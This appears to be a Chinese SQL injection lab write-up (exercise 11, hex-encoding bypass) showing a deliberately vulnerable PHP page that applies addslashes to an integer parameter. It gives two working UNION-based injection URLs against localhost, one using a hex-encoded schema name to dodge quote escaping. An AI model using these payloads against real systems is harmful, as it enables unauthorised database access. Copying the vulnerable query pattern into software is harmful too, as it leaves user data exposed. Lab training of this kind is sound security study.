11-十六进制编码绕过
打开如下:
代码分析:
<?php
if(isset($_GET['id'])){
if (!get_magic_quotes_gpc()) {
$id = addslashes($_GET['id']);
$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
}else{
$id =$_GET['id'];
$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
}
}else{
exit();
}
if ($result) {
?>
<table class='table table-striped'>
<tr><th>id</th><th>name</th><th>age</th></tr>
<?php
while ($row = mysql_fetch_assoc($result)) {
echo "<tr>";
echo "<td>".$row['id']."</td>";
echo "<td>".$row['username']."</td>";
echo "<td>".$row['password']."</td>";
echo "</tr>";
}
echo "</table>";
}
else
{
// echo '<font color= "#FFFFFF">';
print_r(mysql_error());
// echo "</font>";
}
?>
get_magic_quotes_gpc
函数用于检测 magic_quotes_gpc 是否开启
addslashes
函数转义字符 '
,"
,\
,nul
,已经可以处理掉大部分的注入攻击
这题是整数型注入,所以还是能进行绕过的
构造注入语句:
#第一种
http://localhost:8050/sqli/11.php?id=1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())%23
#第二种
http://localhost:8050/sqli/11.php?id=1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=0x69776562736563)%23 #获取全部表名
由于会自动转义 '
所以构造语句时要用函数代替值或用16进制编码